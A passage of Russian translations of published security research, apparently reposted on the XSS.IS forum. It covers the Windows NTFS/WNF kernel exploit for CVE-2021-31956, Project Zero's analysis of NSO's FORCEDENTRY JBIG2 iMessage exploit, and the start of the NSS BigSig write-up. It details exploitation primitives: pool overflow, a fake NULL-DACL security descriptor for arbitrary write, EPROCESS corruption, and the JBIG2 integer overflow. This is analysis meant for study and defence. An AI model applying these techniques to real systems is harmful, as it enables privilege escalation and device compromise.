Существует внешняя версия StateName, которая является внутренней версией StateName, объединенной XOR с 0x41C64E6DA3BC0074.
Например, внешнее значение StateName 0x41c64e6da36d9945 внутри станет следующим:
Makefile:Copy to clipboard
1: kd> dx -id 0,0,ffff8d87686c8080 -r1 (*((ntkrnlmp!_WNF_STATE_NAME_STRUCT *)0xffffdd09b35c8348))
(*((ntkrnlmp!_WNF_STATE_NAME_STRUCT *)0xffffdd09b35c8348)) [Type: _WNF_STATE_NAME_STRUCT]
[+0x000 ( 3: 0)] Version : 0x1 [Type: unsigned __int64]
[+0x000 ( 5: 4)] NameLifetime : 0x3 [Type: unsigned __int64]
[+0x000 ( 9: 6)] DataScope : 0x4 [Type: unsigned __int64]
[+0x000 (10:10)] PermanentData : 0x0 [Type: unsigned __int64]
[+0x000 (63:11)] Sequence : 0x1a33 [Type: unsigned __int64]
1: kd> dc 0xffffdd09b35c8348
ffffdd09`b35c8348 00d19931
Или в побитовых операциях:
Version = InternalName & 0xf
LifeTime = (InternalName >> 4) & 0x3
DataScope = (InternalName >> 6) & 0xf
IsPermanent = (InternalName >> 0xa) & 0x1
Sequence = InternalName >> 0xb
Здесь важно понимать, что хотя Version, LifeTime, DataScope и Sequence контролируются, порядковый номер для имен состояний WnfTemporaryStateName хранится в глобальном файле.
Как вы можете видеть из нижеприведенного, на основе DataScope текущие серверные глобальные хранилища или глобальные серверные хранилища смещаются для получения версии 10, а затем это используется в качестве последовательности, которая каждый раз увеличивается на 1.
Makefile:Copy to clipboard
__int64 __fastcall ExpWnfGenerateStateName(unsigned __int64 *StateName, int NameLifetime, int DataScope, char PersistData)
{
char v5; // si
__int64 v8; // rbx
__int64 v9; // rax
signed __int64 v10; // rdx
bool v11; // zf
unsigned __int64 Sequence; // rdx
__int64 result; // rax
unsigned __int64 v14[3]; // [rsp+20h] [rbp-18h] BYREF
v14[0] = 0i64;
v5 = DataScope;
if ( (unsigned int)(DataScope - 4) > 1 )
{
v8 = PsGetCurrentServerSilo();
v9 = PsGetCurrentServerSiloGlobals();
}
else
{
v8 = HalSystemVectorDispatchEntry();
v9 = PsGetServerSiloGlobals(v8);
}
if ( (unsigned int)(NameLifetime - 2) > 1 )
{
result = ExpWnfAllocateNextPersistentNameSequence(v8, v14);
if ( (int)result < 0 )
return result;
Sequence = v14[0];
}
else
{
do
{
v10 = _InterlockedExchangeAdd64((volatile signed __int64 *)(v9 + 960), 1ui64);
v11 = v10 == -1;
Sequence = v10 + 1;
v14[0] = Sequence;
}
while ( v11 );
}
if ( (Sequence & 0xFFE0000000000000ui64) != 0 )
return 0xC0000001i64;
*StateName = (16 * ((Sequence << 7) | NameLifetime & 3)) | ((PersistData != 0 ? 0x400 : 0) | ((v5 & 0xF) << 6)) & 0x7FE | 1;
return 0i64;
}
Затем для поиска экземпляра имени используется следующий код:
C:Copy to clipboard
_QWORD *__fastcall ExpWnfFindStateName(__int64 scopeinstance, unsigned __int64 statename)
{
_QWORD *i; // rax
for ( i = *(_QWORD **)(scopeinstance + 0x38); ; i = (_QWORD *)i[1] )
{
while ( 1 )
{
if ( !i )
return 0i64;
if ( statename >= i[3] )
break;
i = (_QWORD *)*i;
}
if ( statename <= i[3] )
break;
}
return i - 2;
}
i[3] в этом случае на самом деле является StateName структуры _WNF_NAME_INSTANCE, поскольку он находится за пределами _RTL_BALANCED_NODE, корнем которого является элемент NameSet структуры _WNF_SCOPE_INSTANCE.
C:Copy to clipboard
struct _WNF_SCOPE_INSTANCE
{
struct _WNF_NODE_HEADER Header; //0x0
struct _EX_RUNDOWN_REF RunRef; //0x8
enum _WNF_DATA_SCOPE DataScope; //0x10
ULONG InstanceIdSize; //0x14
VOID* InstanceIdData; //0x18
struct _LIST_ENTRY ResolverListEntry; //0x20
struct _WNF_LOCK NameSetLock; //0x30
struct _RTL_AVL_TREE NameSet; //0x38
VOID* PermanentDataStore; //0x40
VOID* VolatilePermanentDataStore; //0x48
};
struct _RTL_AVL_TREE
{
struct _RTL_BALANCED_NODE* Root; //0x0
};
struct _RTL_BALANCED_NODE
{
union
{
struct _RTL_BALANCED_NODE* Children[2]; //0x0
struct
{
struct _RTL_BALANCED_NODE* Left; //0x0
struct _RTL_BALANCED_NODE* Right; //0x8
};
};
union
{
struct
{
UCHAR Red : 1; //0x10
UCHAR Balance : 2; //0x10
};
ULONGLONG ParentValue; //0x10
};
};
Каждый из _WNF_NAME_INSTANCE объединяется с элементом TreeLinks. Поэтому приведенный выше код обхода дерева проходит по дереву AVL и использует его для поиска правильного StateName.
Одна из проблем с точки зрения повреждения памяти заключается в том, что, хотя вы можете определить внешнее и внутреннее StateName объектов, которые были распылены кучей, вы не обязательно знаете, какие из объектов будут соседними с фрагментом NTFS, который переполняется.
Однако при тщательной обработке переполнения пула мы можем угадать подходящее значение для установки StateName структуры _WNF_NAME_INSTANCE.
Также можно построить собственное дерево AVL, повреждая указатели TreeLinks, однако главное предостережение заключается в том, что необходимо соблюдать осторожность, чтобы избежать защиты от безопасного отсоединения.
Как видно из Windows Mitigations (https://github.com/nccgroup/exploit_mitigations/blob/master/windows_mitigations.md), Microsoft внедрила значительное количество средств, чтобы затруднить эксплуатацию кучи и пула.
В следующем сообщении в блоге я подробно расскажу, как это влияет на этот конкретный эксплойт и какая очистка необходима.
Дескриптор безопасности
Еще одна проблема, с которой я столкнулся при разработке этого эксплойта, связана с дескриптором безопасности.
Первоначально я установил его как адрес дескриптора безопасности в пространстве пользователя, который использовался в NtCreateWnfStateName.
Выполнение некоторых сравнений между немодифицированным дескриптором безопасности в пространстве ядра и в пользовательском пространстве показало, что они разные.
Пространство ядра:
Makefile:Copy to clipboard
1: kd> dx -id 0,0,ffffce86a715f300 -r1 ((ntkrnlmp!_SECURITY_DESCRIPTOR *)0xffff9e8253eca5a0)
((ntkrnlmp!_SECURITY_DESCRIPTOR *)0xffff9e8253eca5a0) : 0xffff9e8253eca5a0 [Type: _SECURITY_DESCRIPTOR *]
[+0x000] Revision : 0x1 [Type: unsigned char]
[+0x001] Sbz1 : 0x0 [Type: unsigned char]
[+0x002] Control : 0x800c [Type: unsigned short]
[+0x008] Owner : 0x0 [Type: void *]
[+0x010] Group : 0x28000200000014 [Type: void *]
[+0x018] Sacl : 0x14000000000001 [Type: _ACL *]
[+0x020] Dacl : 0x101001f0013 [Type: _ACL *]
После повторного указания дескриптора безопасности на структуру пользовательского пространства:
Makefile:Copy to clipboard
1: kd> dx -id 0,0,ffffce86a715f300 -r1 ((ntkrnlmp!_SECURITY_DESCRIPTOR *)0x23ee3ab6ea0)
((ntkrnlmp!_SECURITY_DESCRIPTOR *)0x23ee3ab6ea0) : 0x23ee3ab6ea0 [Type: _SECURITY_DESCRIPTOR *]
[+0x000] Revision : 0x1 [Type: unsigned char]
[+0x001] Sbz1 : 0x0 [Type: unsigned char]
[+0x002] Control : 0xc [Type: unsigned short]
[+0x008] Owner : 0x0 [Type: void *]
[+0x010] Group : 0x0 [Type: void *]
[+0x018] Sacl : 0x0 [Type: _ACL *]
[+0x020] Dacl : 0x23ee3ab4350 [Type: _ACL *]
Затем я попытался предоставить фейку дескриптор безопасности с теми же значениями. Это не сработало, как ожидалось, и NtUpdateWnfStateData по- прежнему возвращал отказ в разрешении (-1073741790).
Хорошо, тогда! Давайте просто сделаем DACL NULL, чтобы у группы "все" были разрешения "Полный доступ".
После еще нескольких экспериментов исправление поддельного дескриптора безопасности со следующими значениями сработало, и данные были успешно записаны в произвольное место:
SECURITY_DESCRIPTOR sd =
(SECURITY_DESCRIPTOR)malloc(sizeof(SECURITY_DESCRIPTOR));
sd->Revision = 0x1;
sd->Sbz1 = 0;
sd->Control = 0x800c;
sd->Owner = 0;
sd->Group = (PSID)0;
sd->Sacl = (PACL)0;
sd->Dacl = (PACL)0;
Повреждение EPROCESS **
Первоначально при тестировании произвольной записи я ожидал, что когда я установлю указатель StateData на 0x6161616161616161, произойдет сбой ядра рядом с расположением memcpy. Однако на практике было обнаружено, что выполнение ExpWnfWriteStateData выполняется в рабочем потоке. Когда происходит нарушение прав доступа, это перехватывается, и статус NT -1073741819, который является STATUS_ACCESS_VIOLATION, распространяется обратно в пользовательскую среду. Это сделало первоначальную отладку более сложной, так как код вокруг этой функции был значительно сложным путем, а условные точки останова приводили к огромному останову программы.
В любом случае, как правило, после произвольной записи злоумышленник либо использует для повышения привилегий на основе данных, либо для выполнения произвольного кода.
Поскольку мы используем CVE-2021-31955 для утечки адреса EPROCESS, мы продолжаем наше исследование в этом направлении.
Подводя итог, необходимо было предпринять следующие шаги:
Таким образом, у нас есть следующая структура памяти после того, как произошло переполнение, и EPROCESS обрабатывается как _WNF_STATE_DATA:
Затем мы можем продемонстрировать повреждение структуры EPROCESS:
Makefile:Copy to clipboard
PROCESS ffff8881dc84e0c0
SessionId: 1 Cid: 13fc Peb: c2bb940000 ParentCid: 1184
DirBase: 4444444444444444 ObjectTable: ffffc7843a65c500 HandleCount: 39.
Image: TestEAOverflow.exe
PROCESS ffff8881dbfee0c0
SessionId: 1 Cid: 073c Peb: f143966000 ParentCid: 13fc
DirBase: 135d92000 ObjectTable: ffffc7843a65ba40 HandleCount: 186.
Image: conhost.exe
PROCESS ffff8881dc3560c0
SessionId: 0 Cid: 0448 Peb: 825b82f000 ParentCid: 028c
DirBase: 37daf000 ObjectTable: ffffc7843ec49100 HandleCount: 176.
Image: WmiApSrv.exe
1: kd> dt _WNF_STATE_DATA ffffd68cef97a080+0x8
nt!_WNF_STATE_DATA
+0x000 Header : _WNF_NODE_HEADER
+0x004 AllocatedSize : 0xffffd68c
+0x008 DataSize : 0x100
+0x00c ChangeStamp : 2
1: kd> dc ffff8881dc84e0c0 L50
ffff8881`dc84e0c0 00000003 00000000 dc84e0c8 ffff8881 ................
ffff8881`dc84e0d0 00000100 41414142 44444444 44444444 ....BAAADDDDDDDD
ffff8881`dc84e0e0 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
ffff8881`dc84e0f0 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
ffff8881`dc84e100 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
ffff8881`dc84e110 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
ffff8881`dc84e120 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
ffff8881`dc84e130 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
ffff8881`dc84e140 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
ffff8881`dc84e150 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
ffff8881`dc84e160 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
ffff8881`dc84e170 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
ffff8881`dc84e180 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
ffff8881`dc84e190 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
ffff8881`dc84e1a0 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
ffff8881`dc84e1b0 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
ffff8881`dc84e1c0 44444444 44444444 44444444 44444444 DDDDDDDDDDDDDDDD
ffff8881`dc84e1d0 44444444 44444444 00000000 00000000 DDDDDDDD........
ffff8881`dc84e1e0 00000000 00000000 00000000 00000000 ................
ffff8881`dc84e1f0 00000000 00000000 00000000 00000000 ................
Как видите, EPROCESS+0x8 был поврежден данными, контролируемыми злоумышленником.
На этом этапе типичными подходами могут быть:
Прицеливание на структуры KTHREAD Член PreviousMode
Прицеливание на токен EPROCESS
Эти подходы, плюсы и минусы обсуждались ранее членами команды EDG при использовании уязвимости в KTM.
Следующий этап будет обсуждаться в последующем сообщении в блоге, поскольку еще предстоит решить некоторые проблемы, прежде чем будет достигнуто надежное повышение привилегий.
Резюме
Таким образом, мы рассказали больше об уязвимости и о том, как ее можно активировать. Мы видели, как можно использовать WNF для включения нового набора примитивов эксплойта. Это все на данный момент в части 1! В следующей статье я расскажу об улучшениях надежности, очистке памяти ядра и продолжении.
Переведено специально для XSS.IS
Автор перевода: yashechka
Источник: [https://research.nccgroup.com/2021/...ting-the-windows-kernel-ntfs-
with-wnf-
part-1/](https://research.nccgroup.com/2021/07/15/cve-2021-31956-exploiting-
the-windows-kernel-ntfs-with-wnf-part-1/)
Авторы: Ян Бир и Сэмюэл Гросс из Google Project Zero
Мы хотим поблагодарить Citizen Lab за то, что они поделились с нами образцом эксплойта FORCEDENTRY, и группу разработки и архитектуры безопасности Apple (SEAR) за сотрудничество с нами в техническом анализе. Приведенные ниже редакционные мнения принадлежат исключительно Project Zero и не обязательно отражают точку зрения организаций, с которыми мы сотрудничали в ходе этого исследования.
Ранее в этом году Citizen Lab удалось зафиксировать эксплойт NSO с zero-click на основе iMessage, который использовался для нападения на саудовского активиста. В этой серии сообщений в нашем блоге, состоящей из двух частей, мы впервые опишем, как работает эксплойт iMessage с zero-click.
Основываясь на наших исследованиях и выводах, мы оцениваем это его как один из самых технически сложных эксплойтов, которые мы когда-либо видели, что еще раз демонстрирует, что возможности, которые предоставляет NSO, конкурируют с теми возможностями, которые ранее считались доступными только для нескольких национальных государств.
Уязвимость, обсуждаемая в этом сообщении в статье, была исправлена 13 сентября 2021 г в iOS 14.8 и имеет имя CVE-2021-30860.
NSO
NSO Group является одним из самых известных поставщиков "access-as-a-service", продавая комплексные хакерские решения, которые позволяют государственным деятелям без собственных наступательных кибер-возможностей "pay-to-play", значительно расширяя количество стран с такими кибервозможностями.
В течение многих лет такие группы, как Citizen Lab и Amnesty International, отслеживали использование мобильного шпионского пакета NSO "Pegasus". Несмотря на заявления NSO о том, что они "[оценивают] возможность неблагоприятного воздействия на права человека в результате неправомерного использования продуктов NSO", Pegasus была связана со взломом журналиста New York Times Бена Хаббарда, взломом правозащитников в Марокко и Бахрейн, нападения на сотрудников Amnesty International и десятки других дел.
В прошлом месяце Соединенные Штаты добавили NSO в "Список организаций", резко ограничив возможности американских компаний вести дела с NSO и заявив в пресс- релизе, что "[инструменты NSO] позволяют иностранным правительствам проводить транснациональные репрессии, что является практикой авторитарных правительств, преследующих диссидентов, журналистов и активистов за пределами своих суверенных границ, чтобы заставить замолчать диссидентов".
Citizen Lab удалось восстановить эти эксплойты Pegasus с iPhone, поэтому данный анализ охватывает возможности NSO в отношении iPhone. Нам известно, что NSO продает аналогичные решения zero-click, предназначенные для устройств Android; У Project Zero нет образцов этих эксплойтов, но если они у вас есть, свяжитесь с нами.
От единицы до нуля
В предыдущих случаях, жертвам отправляли ссылки в SMS-сообщениях:
Цель была взломана только тогда, когда она щелкнула ссылку, метод, известный как эксплойт в один клик. Однако недавно было задокументировано, что NSO предлагает своим клиентам технологию эксплойта с без кликом, когда даже очень технически подкованные люди, которые могут не щелкнуть фишинговую ссылку, совершенно не подозревают, что их уже преследуют. В сценарии с zero-click не требуется никакого взаимодействия с пользователем. Это означает, что злоумышленнику не нужно отправлять фишинговые сообщения; эксплойт просто тихо работает в фоновом режиме. За исключением того, что устройство не используется, нет способа предотвратить использование эксплойта с zero-click; это оружие, против которого нет защиты.
Один странный трюк
Начальной точкой входа для Pegasus на iPhone является iMessage. Это означает, что жертва может стать мишенью, просто используя свой номер телефона или имя пользователя AppleID.
iMessage имеет встроенную поддержку изображений GIF, обычно небольших и низкокачественных анимированных изображений, популярных в культуре мемов. Вы можете отправлять и получать GIF-файлы в чатах iMessage, и они отображаются в окне чата. Apple хотела, чтобы эти GIF-файлы зацикливались бесконечно, а не воспроизводились только один раз, поэтому на самом раннем этапе конвейера анализа и обработки iMessage (после получения сообщения, но задолго до его отображения) iMessage вызывает следующий метод в процессе IMTranscoderAgent (вне песочницы "BlastDoor"), передавая любой полученный файл изображения с расширением .gif:
[IMGIFUtils copyGifFromPath oDestinationPath:error]
Глядя на имя селектора, здесь, вероятно, предполагалось просто скопировать файл GIF перед редактированием поля количества циклов, но семантика этого метода отличается. Под капотом он использует API-интерфейсы CoreGraphics для рендеринга исходного изображения в новый файл GIF по пути назначения. И только потому, что имя исходного файла должно заканчиваться на .gif, это не значит, что это действительно файл GIF.
Библиотека ImageIO, как подробно описано в предыдущей статье Project Zero, используется для угадывания правильного формата исходного файла и его анализа, полностью игнорируя расширение файла. Используя этот трюк с "фальшивым gif", более 20 кодеков изображений внезапно становятся частью поверхности атаки iMessage с zero-click, включая некоторые очень неясные и сложные форматы, удаленно раскрывая, вероятно, сотни тысяч строк кода.
Примечание. Apple сообщает нам, что они ограничили доступные форматы ImageIO, доступные из IMTranscoderAgent, начиная с iOS 14.8.1 (26 октября 2021 г.), и полностью удалили путь кода GIF из IMTranscoderAgent, начиная с iOS 15.0 (20 сентября 2021 г.), с декодированием GIF.
PDF в вашем GIF
NSO использует уловку "fake gif" для обнаружения уязвимости в анализаторе PDF CoreGraphics.
PDF был популярной целью для взлома около десяти лет назад из-за его повсеместного распространения и сложности. Кроме того, наличие javascript внутри PDF-файлов значительно упростило разработку надежных эксплойтов. Парсер CoreGraphics PDF, похоже, не интерпретирует javascript, но NSO удалось найти что-то столь же мощное в парсере CoreGraphics PDF...
Экстремальное сжатие
В конце 1990-х пропускная способность и объем памяти были гораздо более дефицитными, чем сейчас. Именно в этой среде появился стандарт JBIG2. JBIG2 — это доменный кодек изображений, предназначенный для сжатия изображений, в которых пиксели могут быть только черными или белыми.
Он был разработан для достижения чрезвычайно высокой степени сжатия при сканировании текстовых документов и был реализован и использовался в высокопроизводительных офисных сканерах/принтерах, таких как устройство XEROX WorkCenter, показанное ниже. Если вы использовали функцию сканирования в PDF такого устройства десять лет назад, в вашем PDF-файле, вероятно, был поток JBIG2.
Файлы PDF, созданные этими сканерами, были исключительно малы, возможно, всего несколько килобайт. Есть два новых метода, которые JBIG2 использует для достижения этих экстремальных коэффициентов сжатия, которые имеют отношение к этому эксплойту:
Техника 1: Сегментация и замена
Практически каждый текстовый документ, особенно написанный на языках с небольшим алфавитом, таких как английский или немецкий, состоит из множества повторяющихся букв (также известных как глифы) на каждой странице. JBIG2 пытается сегментировать каждую страницу на глифы, а затем использует простое сопоставление с образцом для сопоставления глифов, которые выглядят одинаково:
JBIG2 на самом деле ничего не знает о глифах и не выполняет OCR (оптическое распознавание символов). Кодер JBIG просто ищет связанные области пикселей и группирует похожие области вместе. Алгоритм сжатия заключается в простой замене всех достаточно похожих областей копией только одной из них:
В этом случае выходные данные прекрасно читаются, но объем сохраняемой информации значительно уменьшается. Вместо того, чтобы хранить всю исходную информацию о пикселях для всей страницы, вам нужна только сжатая версия "опорного глифа" для каждого символа и относительные координаты всех мест, где должны быть сделаны копии. Затем алгоритм декомпрессии обрабатывает выходную страницу как холст и "рисует" один и тот же глиф во всех сохраненных местах.
У такой схемы есть существенная проблема: плохой кодировщик слишком легко может случайно поменять местами похожие символы, и это может привести к интересным последствиям. В блоге Криселя есть несколько мотивирующих примеров, когда PDF-файлы отсканированных счетов-фактур имеют разные цифры или PDF-файлы отсканированных строительных чертежей заканчиваются неправильными измерениями. Это не те проблемы, которые мы рассматриваем, но они являются одной из важных причин, по которой JBIG2 больше не является распространенным форматом сжатия.
Техника 2: Уточняющее кодирование
Как упомянуто выше, выходные данные сжатия на основе замещения имеют потери. После раунда сжатия и распаковки визуализированный вывод не выглядит точно так же, как ввод. Но JBIG2 также поддерживает сжатие без потерь, а также промежуточный режим сжатия с меньшими потерями.
Он делает это, также сохраняя (и сжимая) разницу между замененным глифом и каждым исходным глифом. Вот пример, показывающий маску различия между замененным символом слева и исходным символом без потерь в середине:
В этом простом примере кодировщик может сохранить разностную маску, показанную справа, затем во время распаковки разностную маску можно подвергнуть операции XOR с замененным символом, чтобы восстановить точные пиксели, составляющие исходный символ. Есть еще несколько приемов, выходящих за рамки этого сообщения в блоге, для дальнейшего сжатия этой разностной маски с использованием промежуточных форм заменяемого символа в качестве "контекста" для сжатия.
Вместо того, чтобы полностью кодировать всю разницу за один раз, это можно сделать поэтапно, при этом каждая итерация использует логический оператор (один из И, ИЛИ, XOR или XNOR) для установки, очистки или перестановки битов. Каждый последующий шаг уточнения приближает визуализированный вывод к оригиналу, что позволяет контролировать степень поретрь при сжатии. Реализация этих шагов уточняющего кодирования очень гибкая, и они также могут "считывать" значения, уже присутствующие на выходном холсте.
Поток JBIG2
Большая часть декодера CoreGraphics PDF, по-видимому, является проприетарным кодом Apple, но реализация JBIG2 взята из Xpdf, исходный код которого находится в свободном доступе.
Формат JBIG2 представляет собой серию сегментов, которую можно рассматривать как серию команд рисования, которые выполняются последовательно за один проход. Анализатор CoreGraphics JBIG2 поддерживает 19 различных типов сегментов, включая такие операции, как определение новой страницы, декодирование таблицы Хаффмана или рендеринг растрового изображения с заданными координатами на странице.
Сегменты представлены классом JBIG2Segment и его подклассами JBIG2Bitmap и JBIG2SymbolDict.
JBIG2Bitmap представляет собой прямоугольный массив пикселей. Его поле данных указывает на резервный буфер, содержащий холст рендеринга.
JBIG2SymbolDict группирует JBIG2Bitmap вместе. Целевая страница представлена в виде JBIG2Bitmap, как и отдельные глифы.
На JBIG2Segments можно ссылаться по номеру сегмента, а векторный тип GList хранит указатели на все JBIG2Segments. Для поиска сегмента по номеру сегмента GList сканируется последовательно.
Уязвимость
Уязвимость представляет собой классическое целочисленное переполнение при сопоставлении ссылочных сегментов:
Code:Copy to clipboard
Guint numSyms; // (1)
numSyms = 0;
for (i = 0; i < nRefSegs; ++i) {
if ((seg = findSegment(refSegs[i]))) {
if (seg->getType() == jbig2SegSymbolDict) {
numSyms += ((JBIG2SymbolDict *)seg)->getSize(); // (2)
} else if (seg->getType() == jbig2SegCodeTable) {
codeTables->append(seg);
}
} else {
error(errSyntaxError, getPos(),
"Invalid segment reference in JBIG2 text region");
delete codeTables;
return;
}
}
...
// get the symbol bitmaps
syms = (JBIG2Bitmap **)gmallocn(numSyms, sizeof(JBIG2Bitmap *)); // (3)
kk = 0;
for (i = 0; i < nRefSegs; ++i) {
if ((seg = findSegment(refSegs[i]))) {
if (seg->getType() == jbig2SegSymbolDict) {
symbolDict = (JBIG2SymbolDict *)seg;
for (k = 0; k < symbolDict->getSize(); ++k) {
syms[kk++] = symbolDict->getBitmap(k); // (4)
}
}
}
}
numSyms — это 32-битное целое число, объявленное в (1). Предоставляя тщательно созданные эталонные сегменты, повторное добавление в (2) может привести к переполнению numSyms до контролируемого небольшого значения.
Это меньшее значение используется для размера выделения кучи в (3), что означает, что syms указывает на буфер меньшего размера.
Внутри самого внутреннего цикла в (4) значения указателя JBIG2Bitmap записываются в буфер syms меньшего размера.
Без другого трюка этот цикл записал бы более 32 ГБ данных в буфер syms меньшего размера, что, безусловно, вызвало бы сбой. Чтобы избежать этого сбоя, куча очищается таким образом, что первые несколько операций записи в конец буфера syms повреждают резервный буфер GList. Этот GList хранит все известные сегменты и используется подпрограммой findSegments для сопоставления номеров сегментов, переданных в refSegs, с указателями JBIG2Segment. Переполнение приводит к тому, что указатели JBIG2Segment в GList перезаписываются указателями JBIG2Bitmap в (4).
Удобно, поскольку JBIG2Bitmap наследует от JBIG2Segment, виртуальный вызов seg->getType() выполняется успешно даже на устройствах, где включена аутентификация указателя (которая используется для проверки слабого типа виртуальных вызовов), но возвращаемый тип теперь не будет равен jbig2SegSymbolDict, таким образом что приводит к тому, что дальнейшая запись в (4) не может быть достигнута, и ограничивает степень повреждения памяти.
Boundless unbounding
Сразу после поврежденных сегментов GList злоумышленник обрабатывает объект JBIG2Bitmap, который представляет текущую страницу (место, где отображаются текущие команды рисования).
JBIG2Bitmaps — это простые оболочки для резервного буфера, сохраняющие ширину и высоту буфера (в битах), а также значение строки, которое определяет, сколько байтов хранится для каждой строки.
Тщательно структурируя refSeg, они могут остановить переполнение после записи
еще ровно трех указателей JBIG2Bitmap после окончания буфера сегментов Glist.
Это перезаписывает указатель vtable и первые четыре поля JBIG2Bitmap,
представляющие текущую страницу. Из-за характера структуры адресного
пространства iOS эти указатели, скорее всего, будут находиться во вторых 4 ГБ
виртуальной памяти с адресами от 0x100000000 до 0x1ffffffff.
Поскольку все оборудование iOS имеет обратный порядок байтов (это означает,
что поля w и line, скорее всего, будут перезаписаны с помощью 0x1 — наиболее
значащей половины указателя JBIG2Bitmap), а поля segNum и h, вероятно, будут
перезаписаны с наименьшей значащей половиной такого указателя, довольно
случайное значение, зависящее от расположения кучи и ASLR где-то между
0x100000 и 0xffffffff.
Это дает текущей целевой странице JBIG2Bitmap неизвестное, но очень большое значение для h. Поскольку это значение h используется для проверки границ и должно отражать выделенный размер резервного буфера страницы, это приводит к "размыканию" холста для рисования. Это означает, что последующие команды сегмента JBIG2 могут считывать и записывать память за пределами исходных границ резервного буфера страницы.
Уборщик кучи также помещает резервный буфер текущей страницы чуть ниже буфера syms меньшего размера, так что, когда страница JBIG2Bitmap не ограничена, она может читать и записывать свои собственные поля:
Отрисовывая 4-байтовые растровые изображения с правильными координатами холста, они могут записывать во все поля страницы JBIG2Bitmap, а тщательно выбирая новые значения для w, h и строки, они могут записывать произвольные смещения из резервного буфера страницы.
На этом этапе также можно было бы записывать в произвольные абсолютные адреса памяти, если бы вы знали их смещения из резервного буфера страницы. Но как вычислить эти смещения? До сих пор этот эксплойт выполнялся очень похоже на эксплойт "канонического" языка сценариев, который в Javascript может закончиться неограниченным объектом ArrayBuffer с доступом к памяти. Но в этих случаях злоумышленник может запустить произвольный Javascript, который, очевидно, может использоваться для вычисления смещений и выполнения произвольных вычислений. Как это сделать в однопроходном анализаторе изображений?
Мой другой формат сжатия по Тьюрингу!
Как упоминалось ранее, последовательность шагов, реализующих уточнение JBIG2, очень гибкая. Шаги уточнения могут ссылаться как на выходное растровое изображение, так и на любые ранее созданные сегменты, а также отображать вывод либо на текущую страницу, либо на сегмент. Тщательно прорабатывая контекстно- зависимую часть декомпрессии уточнения, можно создавать последовательности сегментов, в которых только операторы комбинации уточнения имеют какой-либо эффект.
На практике это означает, что можно применять логические операторы AND, OR, XOR и XNOR между областями памяти с произвольным смещением от резервного буфера текущей страницы JBIG2Bitmap. И так как это было неограниченным... можно выполнять эти логические операции с памятью при произвольных смещениях за пределами границ:
Когда вы дойдете до этого места, все становится действительно интересным. Что, если вместо того, чтобы работать с подпрямоугольниками размером с глиф, вы работаете с отдельными битами?
Теперь вы можете предоставить в качестве входных данных последовательность команд сегмента JBIG2, которые реализуют последовательность логических битовых операций для применения к странице. А поскольку буфер страницы не ограничен, эти битовые операции могут работать с произвольной памятью.
Так вы можете убедиться, что с помощью доступных логических операторов AND, OR, XOR и XNOR вы действительно можете вычислить любую вычислимую функцию — самое простое доказательство в том, что вы можете создать логическое НЕ. оператора, выполняя XOR с 1, а затем помещая перед ним вентиль AND, чтобы сформировать вентиль NAND:
Вентиль И-НЕ является примером универсального логического вентиля; один, из которого могут быть построены все остальные вентили и из которого может быть построена схема для вычисления любой вычислимой функции.
Практические схемы
JBIG2 не имеет возможностей сценариев, но в сочетании с уязвимостью у него есть возможность эмулировать схемы произвольных логических вентилей, работающих с произвольной памятью. Так почему бы просто не использовать это для создания собственной компьютерной архитектуры и сценария для этого!? Это именно то, что делает этот эксплойт. Используя более 70000 сегментных команд, определяющих логические битовые операции, они определяют архитектуру небольшого компьютера с такими функциями, как регистры и полный 64-битный сумматор и компаратор, которые они используют для поиска в памяти и выполнения арифметических операций. Это не так быстро, как Javascript, но по сути эквивалентно вычислительному процессу.
Операции начальной загрузки для эксплойта побега из песочницы написаны для работы на этой логической схеме, и все это работает в этой странной эмулируемой среде, созданной из одного прохода декомпрессии через поток JBIG2. Это довольно невероятно, и в то же время довольно пугающе.
В следующей статье (в настоящее время он завершается) мы рассмотрим, как именно эксплойт выходит из песочницы IMTranscoderAgent.
Источник: <https://googleprojectzero.blogspot.com/2021/12/a-deep-dive-into- nso-zero-click.html>
Этот пост в блоге необычный. Обычно я пишу посты о скрытых видах атак или интересном и сложном классе уязвимостей. На этот раз речь пойдёт о совершенно иной уязвимости. Впечатляет её простота. Её должны были заметить раньше, и я хочу выяснить, почему этого не произошло.
В 2021 году всем хорошим багам нужно цепляющее название, и у этой уязвимости появилось имя BigSig. Сначала объясню, как она нашлась, а затем попытаюсь понять, почему её так долго упускали.
[Network Security Services](https://developer.mozilla.org/en- US/docs/Mozilla/Projects/NSS/Overview) (NSS) — популярная кросс-платформенная криптографическая библиотека от Mozilla. Когда проверяется зашифрованная цифровая подпись ASN.1, в NSS создаётся структура [VFYContext](https://searchfox.org/mozilla- central/rev/f8576fec48d866c5f988baaf1fa8d2f8cce2a82f/security/nss/lib/cryptohi/secvfy.c#120) для хранения необходимых данных — открытого ключа, хеш-алгоритма и самой подписи.
Code:Copy to clipboard
struct VFYContextStr {
SECOidTag hashAlg; /* the hash algorithm */
SECKEYPublicKey *key;
union {
unsigned char buffer[1];
unsigned char dsasig[DSA_MAX_SIGNATURE_LEN];
unsigned char ecdsasig[2 * MAX_ECKEY_LEN];
unsigned char rsasig[(RSA_MAX_MODULUS_BITS + 7) / 8];
} u;
unsigned int pkcs1RSADigestInfoLen;
unsigned char *pkcs1RSADigestInfo;
void *wincx;
void *hashcx;
const SECHashObject *hashobj;
SECOidTag encAlg; /* enc alg */
PRBool hasSignature;
SECItem *params;
};
Структура VFYContext из NSS
